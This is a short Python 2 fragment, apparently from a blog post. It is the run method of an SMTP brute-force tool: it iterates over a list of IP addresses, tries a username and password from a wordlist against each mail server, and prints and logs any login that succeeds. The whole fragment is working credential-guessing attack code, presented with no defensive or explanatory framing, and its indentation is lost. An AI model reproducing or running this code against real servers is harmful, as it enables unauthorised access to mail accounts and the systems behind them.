def run(self):
value, user = getword()
for ip in completed:
print "-"*12
print "[+] IP: "+ip
try:
print "User:",user,"Password:",value
smtp = smtplib.SMTP(ip)
smtp.login(user, value)
print "\t\n[!] Login successful:",user, value
logger.write("[!] Found: " + ip + " " + str(user) + ":" + str(value) + "\n")
smtp.quit()
sys.exit(2)
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
pass
评论列表
文章目录